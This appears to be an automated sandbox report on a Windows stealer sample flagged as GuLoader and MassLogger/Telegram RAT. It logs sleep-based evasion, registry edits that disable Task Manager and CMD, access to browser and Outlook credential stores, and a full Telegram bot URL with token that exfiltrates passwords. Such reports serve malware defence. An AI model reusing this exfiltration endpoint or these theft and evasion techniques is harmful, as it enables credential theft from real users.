Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8100	Thread sleep count: 8193 > 30	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -599407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -599282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -599172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -598644s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -598519s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -598391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -598282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -598157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -598032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -597907s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -597782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -597563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -597438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -597313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -597063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -596953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -596844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -596719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -596244s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -596014s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -595891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -595782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -595668s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -595547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -595438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -595328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -595219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -594999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -594875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -594766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -594641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -594531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -594422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -594313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -594188s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 0_2_0040672B FindFirstFileW,FindClose,	0_2_0040672B
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 0_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	0_2_00405AFA
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_00402868 FindFirstFileW,	4_2_00402868
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_0040672B FindFirstFileW,FindClose,	4_2_0040672B
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	4_2_00405AFA

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599172	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598644	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598519	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598391	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598282	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598157	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598032	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597907	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597782	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596244	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596014	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595782	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595668	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595438	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594999	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594641	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594188	Jump to behavior

Source: c7WJL1gt32.exe, 00000004.00000002.2954221736.00000000053E8000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2954221736.0000000005449000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: c7WJL1gt32.exe, 00000004.00000002.2954221736.0000000005449000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWwg

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	API call chain: ExitProcess graph end node			graph_0-4556
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	API call chain: ExitProcess graph end node			graph_0-4714

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Code function: 0_2_00406943 GlobalFree,LdrInitializeThunk,GlobalAlloc,GlobalFree,LdrInitializeThunk,GlobalAlloc,

0_2_00406943

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

0_2_6CF11B5F

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Process created: C:\Users\user\Desktop\c7WJL1gt32.exe "C:\Users\user\Desktop\c7WJL1gt32.exe"

Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Queries volume information: C:\Users\user\Desktop\c7WJL1gt32.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Code function: 0_2_004034A5 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,lstrlenA,LdrInitializeThunk,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,

0_2_004034A5

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c7WJL1gt32.exe PID: 7856, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c7WJL1gt32.exe PID: 7856, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c7WJL1gt32.exe PID: 7856, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c7WJL1gt32.exe PID: 7856, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c7WJL1gt32.exe PID: 7856, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
c7WJL1gt32.exe	78%	Virustotal		Browse
c7WJL1gt32.exe	74%	ReversingLabs	Win32.Trojan.GuLoader
c7WJL1gt32.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
drive.google.com	216.58.206.46	true	false	high
drive.usercontent.google.com	142.250.185.129	true	false	high
reallyfreegeoip.org	104.21.80.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com	c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/)	c7WJL1gt32.exe, 00000004.00000002.2980225295.0000000038282000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C8A000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C24000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382	c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	c7WJL1gt32.exe, 00000004.00000002.2954221736.00000000053E8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035AB8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035AA0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	c7WJL1gt32.exe, 00000004.00000003.2559440809.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2954221736.0000000005449000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C8A000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C24000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035AA0000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035A94000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	c7WJL1gt32.exe, 00000004.00000003.2525192244.000000000545D000.00000004.00000020.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000003.2525122829.000000000545D000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C8A000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C24000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035AA0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	c7WJL1gt32.exe	false	high
http://api.telegram.org	c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C8A000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035C24000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035A21000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035AA0000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.185.129	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
104.21.80.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
216.58.206.46	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588956
Start date and time:	2025-01-11 07:37:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	c7WJL1gt32.exe renamed because original name is a hash value
Original Sample Name:	08972ea67ce0756e8af06aeea9628d2ec00392351f8aaaf69cde005f79d74051.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 152 Number of non-executed functions: 110
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:39:53	API Interceptor	252x Sleep call for process: c7WJL1gt32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	MBOaS3GRtF.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	fpIGwanLZi.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	uVpytXGpQz.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	H75MnQEha8.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	7b4Iaf58Rp.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	b5BQbAhwVD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
